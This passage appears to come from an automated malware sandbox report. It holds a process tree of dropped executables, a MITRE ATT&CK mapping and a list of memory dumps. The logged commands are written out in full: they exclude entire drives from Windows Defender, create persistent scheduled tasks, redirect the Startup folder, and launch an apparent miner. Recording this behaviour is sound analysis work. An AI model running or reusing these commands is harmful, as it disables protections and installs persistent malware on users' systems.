1⤵
- Executes dropped EXE
PID:1872
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1872 -s 672
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:3024

C:\Users\Admin\AppData\Local\Temp\29A.exe
C:\Users\Admin\AppData\Local\Temp\29A.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2344
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\_Piejpnomdy.vbs"
  2⤵
  PID:4732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath C:\,'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google\wslm.exe'
    3⤵
    PID:1764
- C:\Users\Admin\AppData\Local\Temp\29A.exe
  C:\Users\Admin\AppData\Local\Temp\29A.exe
  2⤵
  - Executes dropped EXE
  PID:444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
    3⤵
    PID:4952

C:\Users\Admin\AppData\Roaming\bbjggue
C:\Users\Admin\AppData\Roaming\bbjggue
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:68
- C:\Users\Admin\AppData\Roaming\bbjggue
  C:\Users\Admin\AppData\Roaming\bbjggue
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4004

C:\Users\Admin\AppData\Local\Temp\5E7.exe
C:\Users\Admin\AppData\Local\Temp\5E7.exe
1⤵
- Executes dropped EXE
PID:700
- C:\Users\Admin\AppData\Local\Temp\NylghausHosen_2021-10-12_23-24 2.exe
  "C:\Users\Admin\AppData\Local\Temp\NylghausHosen_2021-10-12_23-24 2.exe"
  2⤵
  - Executes dropped EXE
  PID:4684
- C:\Users\Admin\AppData\Local\Temp\Qf5dSHBPGf8J.exe
  "C:\Users\Admin\AppData\Local\Temp\Qf5dSHBPGf8J.exe"
  2⤵
  - Executes dropped EXE
  PID:4748

C:\Users\Admin\AppData\Local\Temp\897.exe
C:\Users\Admin\AppData\Local\Temp\897.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1172

C:\Users\Admin\AppData\Local\Temp\2364.exe
C:\Users\Admin\AppData\Local\Temp\2364.exe
1⤵
- Executes dropped EXE
- Drops startup file
PID:1576

C:\Users\Admin\AppData\Local\Temp\314F.exe
C:\Users\Admin\AppData\Local\Temp\314F.exe
1⤵
- Executes dropped EXE
PID:712
- C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
  "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe"
  2⤵
  - Executes dropped EXE
  PID:1652
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\
    3⤵
    PID:2192
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\603c0340b4\
      4⤵
      PID:4188
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2228

C:\Users\Admin\AppData\Local\Temp\3A97.exe
C:\Users\Admin\AppData\Local\Temp\3A97.exe
1⤵
- Executes dropped EXE
- Windows security modification
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1768
- C:\Users\Admin\AppData\Local\Temp\b6f3ec03-8791-47a5-b46e-bf85f644439c\AdvancedRun.exe
  "C:\Users\Admin\AppData\Local\Temp\b6f3ec03-8791-47a5-b46e-bf85f644439c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b6f3ec03-8791-47a5-b46e-bf85f644439c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:3800
- - C:\Users\Admin\AppData\Local\Temp\b6f3ec03-8791-47a5-b46e-bf85f644439c\AdvancedRun.exe
    "C:\Users\Admin\AppData\Local\Temp\b6f3ec03-8791-47a5-b46e-bf85f644439c\AdvancedRun.exe" /SpecialRun 4101d8 3800
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4172
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\3A97.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- C:\Users\Admin\AppData\Local\Temp\3A97.exe
  "C:\Users\Admin\AppData\Local\Temp\3A97.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4456
- - C:\Users\Admin\AppData\Local\Temp\mine.exe
    "C:\Users\Admin\AppData\Local\Temp\mine.exe"
    3⤵
    - Executes dropped EXE
    PID:4188
  - - C:\Windows\System32\conhost.exe
      "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mine.exe"
      4⤵
      PID:1932
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        5⤵
        
        PID:2744
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        6⤵
        
        PID:4112
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        6⤵
        
        PID:980
    - - C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        5⤵
        
        PID:2036
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services32" /tr "C:\Users\Admin\services32.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:4624
    - - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\services32.exe"
        5⤵
        
        PID:4900
      - C:\Users\Admin\services32.exe
        
        C:\Users\Admin\services32.exe
        6⤵
        Executes dropped EXE
        
        PID:3236
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\\conhost.exe" "C:\Users\Admin\services32.exe"
        7⤵
        
        PID:4988
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        8⤵
        
        PID:4488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        9⤵
        
        PID:788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
        8⤵
        
        PID:4984
- - C:\Users\Admin\AppData\Local\Temp\6666.exe
    "C:\Users\Admin\AppData\Local\Temp\6666.exe"
    3⤵
    - Executes dropped EXE
    PID:4108

C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
C:\Users\Admin\AppData\Local\Temp\603c0340b4\sqtvvs.exe
1⤵
- Executes dropped EXE
PID:4488

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/444-1520-0x000000001C2F0000-0x000000001C2F2000-memory.dmp

Filesize
8KB

Download
memory/516-117-0x0000000001710000-0x0000000001719000-memory.dmp

Filesize
36KB

Download
memory/516-114-0x0000000001886000-0x0000000001896000-memory.dmp

Filesize
64KB

Download
memory/528-141-0x0000000000A60000-0x0000000000A91000-memory.dmp

Filesize
196KB

Download
memory/528-151-0x00000000051C3000-0x00000000051C4000-memory.dmp

Filesize
4KB

Download
memory/528-150-0x00000000051C2000-0x00000000051C3000-memory.dmp

Filesize
4KB

Download
memory/528-154-0x0000000005080000-0x0000000005081000-memory.dmp

Filesize
4KB

Download
memory/528-149-0x00000000051C0000-0x00000000051C1000-memory.dmp

Filesize
4KB

Download
memory/528-148-0x00000000051D0000-0x00000000051D1000-memory.dmp

Filesize
4KB

Download
memory/528-157-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/528-158-0x00000000050B0000-0x00000000050B1000-memory.dmp

Filesize
4KB

Download
memory/528-146-0x0000000002850000-0x000000000286C000-memory.dmp

Filesize
112KB

Download
memory/528-159-0x00000000051C4000-0x00000000051C5000-memory.dmp

Filesize
4KB

Download
memory/528-165-0x0000000005130000-0x0000000005131000-memory.dmp

Filesize
4KB

Download
memory/604-208-0x0000000000400000-0x00000000016FF000-memory.dmp

Filesize
19.0MB

Download
memory/604-204-0x00000000032F0000-0x000000000337E000-memory.dmp

Filesize
568KB

Download
memory/604-191-0x0000000001966000-0x00000000019B5000-memory.dmp

Filesize
316KB

Download
memory/700-224-0x0000000000D40000-0x0000000000D41000-memory.dmp

Filesize
4KB

Download
memory/1172-234-0x00000000007A0000-0x00000000007A1000-memory.dmp

Filesize
4KB

Download
memory/1172-236-0x0000000004F90000-0x0000000004F91000-memory.dmp

Filesize
4KB

Download
memory/1172-243-0x0000000005200000-0x0000000005201000-memory.dmp

Filesize
4KB

Download
memory/1172-240-0x0000000005A00000-0x0000000005A21000-memory.dmp

Filesize
132KB

Download
memory/1172-244-0x0000000005A30000-0x0000000005A4C000-memory.dmp

Filesize
112KB

Download
memory/1332-132-0x0000000003430000-0x0000000003506000-memory.dmp

Filesize
856KB

Download
memory/1332-126-0x00000000019D6000-0x0000000001A53000-memory.dmp

Filesize
500KB

Download
memory/1332-133-0x0000000000400000-0x0000000001735000-memory.dmp

Filesize
19.2MB

Download
memory/1496-264-0x0000000005240000-0x0000000005846000-memory.dmp

Filesize
6.0MB

Download
memory/1496-250-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/1716-134-0x0000000002570000-0x0000000002601000-memory.dmp

Filesize
580KB

Download
memory/1764-1284-0x000001622B4F0000-0x000001622B4F2000-memory.dmp

Filesize
8KB

Download
memory/1764-1452-0x000001622B4F8000-0x000001622B4F9000-memory.dmp

Filesize
4KB

Download
memory/1764-1454-0x000001622B4F6000-0x000001622B4F8000-memory.dmp

Filesize
8KB

Download
memory/1764-1285-0x000001622B4F3000-0x000001622B4F5000-memory.dmp

Filesize
8KB

Download
memory/1764-1316-0x00007FF6F8890000-0x00007FF6F8891000-memory.dmp

Filesize
4KB

Download
memory/1768-358-0x0000000004960000-0x00000000049FC000-memory.dmp

Filesize
624KB

Download
memory/1872-205-0x0000000002860000-0x000000000287C000-memory.dmp

Filesize
112KB

Download
memory/1872-199-0x0000000000750000-0x0000000000781000-memory.dmp

Filesize
196KB

Download
memory/1872-206-0x00000000028F0000-0x00000000028F1000-memory.dmp

Filesize
4KB

Download
memory/1932-1550-0x0000024A3E210000-0x0000024A3E21F000-memory.dmp

Filesize
60KB

Download
memory/1964-403-0x0000000004DC0000-0x0000000004DD6000-memory.dmp

Filesize
88KB

Download
memory/1964-118-0x0000000001300000-0x0000000001316000-memory.dmp

Filesize
88KB

Download
memory/2168-175-0x0000000001060000-0x0000000001462000-memory.dmp

Filesize
4.0MB

Download
memory/2168-183-0x0000000005693000-0x0000000005694000-memory.dmp

Filesize
4KB

Download
memory/2168-172-0x0000000005AB0000-0x0000000005EAF000-memory.dmp

Filesize
4.0MB

Download
memory/2168-179-0x0000000005690000-0x0000000005691000-memory.dmp

Filesize
4KB

Download
memory/2168-186-0x0000000002FB0000-0x0000000002FB1000-memory.dmp

Filesize
4KB

Download
memory/2168-156-0x0000000000C4F000-0x0000000001055000-memory.dmp

Filesize
4.0MB

Download
memory/2168-187-0x0000000008270000-0x0000000008271000-memory.dmp

Filesize
4KB

Download
memory/2168-182-0x0000000005692000-0x0000000005693000-memory.dmp

Filesize
4KB

Download
memory/2168-184-0x0000000005694000-0x0000000005695000-memory.dmp

Filesize
4KB

Download
memory/2168-176-0x0000000000400000-0x0000000000841000-memory.dmp

Filesize
4.3MB

Download
memory/2168-178-0x00000000063B0000-0x00000000063B1000-memory.dmp

Filesize
4KB

Download
memory/2344-406-0x000000001C910000-0x000000001C912000-memory.dmp

Filesize
8KB

Download
memory/2344-214-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Filesize
4KB

Download
memory/2756-131-0x0000000000400000-0x0000000001708000-memory.dmp

Filesize
19.0MB

Download
memory/2756-127-0x0000000003360000-0x00000000033EE000-memory.dmp

Filesize
568KB

Download
memory/3268-229-0x0000000004E30000-0x0000000004E31000-memory.dmp

Filesize
4KB

Download
memory/3268-226-0x0000000003110000-0x0000000003111000-memory.dmp

Filesize
4KB

Download
memory/3268-227-0x0000000003110000-0x0000000003111000-memory.dmp

Filesize
4KB

Download
memory/3268-228-0x0000000004E80000-0x0000000004E81000-memory.dmp

Filesize
4KB

Download
memory/3268-230-0x00000000075A0000-0x00000000075A1000-memory.dmp

Filesize
4KB

Download
memory/3268-237-0x0000000007BD0000-0x0000000007BD1000-memory.dmp

Filesize
4KB

Download
memory/3268-238-0x0000000007D50000-0x0000000007D51000-memory.dmp

Filesize
4KB

Download
memory/3268-241-0x0000000007EC0000-0x0000000007EC1000-memory.dmp

Filesize
4KB

Download
memory/3268-242-0x0000000004E32000-0x0000000004E33000-memory.dmp

Filesize
4KB

Download
memory/3268-290-0x0000000004E33000-0x0000000004E34000-memory.dmp

Filesize
4KB

Download
memory/3396-115-0x0000000000400000-0x0000000000409000-memory.dmp

Filesize
36KB

Download
memory/3692-342-0x0000000000B90000-0x0000000000B91000-memory.dmp

Filesize
4KB

Download
memory/3692-344-0x0000000000B92000-0x0000000000B93000-memory.dmp

Filesize
4KB

Download
memory/3692-393-0x000000007EFD0000-0x000000007EFD1000-memory.dmp

Filesize
4KB

Download
memory/3728-167-0x00000000056B0000-0x00000000056B1000-memory.dmp

Filesize
4KB

Download
memory/3728-168-0x00000000056B0000-0x0000000005726000-memory.dmp

Filesize
472KB

Download
memory/3728-171-0x0000000005D20000-0x0000000005D21000-memory.dmp

Filesize
4KB

Download
memory/3728-166-0x0000000005730000-0x0000000005731000-memory.dmp

Filesize
4KB

Download
memory/3728-163-0x0000000000EC0000-0x0000000000EC1000-memory.dmp

Filesize
4KB

Download
memory/4092-193-0x00000000017C0000-0x000000000190A000-memory.dmp

Filesize
1.3MB

Download
memory/4092-194-0x0000000000400000-0x00000000016FF000-memory.dmp

Filesize
19.0MB

Download
memory/4092-185-0x0000000001946000-0x0000000001995000-memory.dmp

Filesize
316KB

Download
memory/4392-1074-0x0000000004A32000-0x0000000004A33000-memory.dmp

Filesize
4KB

Download
memory/4392-1073-0x0000000004A30000-0x0000000004A31000-memory.dmp

Filesize
4KB

Download
memory/4392-1117-0x000000007ECA0000-0x000000007ECA1000-memory.dmp

Filesize
4KB

Download
memory/4404-537-0x0000000006933000-0x0000000006934000-memory.dmp

Filesize
4KB

Download
memory/4404-410-0x0000000006930000-0x0000000006931000-memory.dmp

Filesize
4KB

Download
memory/4404-446-0x0000000006932000-0x0000000006933000-memory.dmp

Filesize
4KB

Download
memory/4404-534-0x000000007F780000-0x000000007F781000-memory.dmp

Filesize
4KB

Download
memory/4456-449-0x0000000005700000-0x0000000005D06000-memory.dmp

Filesize
6.0MB

Download
memory/4684-836-0x0000000004A70000-0x0000000004A71000-memory.dmp

Filesize
4KB

Download
memory/4684-879-0x0000000004A74000-0x0000000004A76000-memory.dmp

Filesize
8KB

Download
memory/4684-831-0x0000000000480000-0x00000000005CA000-memory.dmp

Filesize
1.3MB

Download
memory/4684-842-0x0000000004A72000-0x0000000004A73000-memory.dmp

Filesize
4KB

Download
memory/4684-834-0x0000000000400000-0x0000000000472000-memory.dmp

Filesize
456KB

Download
memory/4684-844-0x0000000004A73000-0x0000000004A74000-memory.dmp

Filesize
4KB

Download
memory/4748-737-0x00000000051A2000-0x00000000051A3000-memory.dmp

Filesize
4KB

Download
memory/4748-740-0x00000000051A3000-0x00000000051A4000-memory.dmp

Filesize
4KB

Download
memory/4748-735-0x00000000051A0000-0x00000000051A1000-memory.dmp

Filesize
4KB

Download
memory/4748-743-0x00000000051A4000-0x00000000051A5000-memory.dmp

Filesize
4KB

Download
memory/4840-948-0x0000000004B60000-0x0000000004B61000-memory.dmp

Filesize
4KB

Download
memory/4840-1046-0x000000007F0C0000-0x000000007F0C1000-memory.dmp

Filesize
4KB

Download
memory/4840-949-0x0000000004B62000-0x0000000004B63000-memory.dmp

Filesize
4KB

Download
memory/4952-1312-0x00000174CD543000-0x00000174CD545000-memory.dmp

Filesize
8KB

Download
memory/4952-1311-0x00000174CD540000-0x00000174CD542000-memory.dmp

Filesize
8KB

Download
memory/4952-1435-0x00000174CD546000-0x00000174CD548000-memory.dmp

Filesize
8KB

Download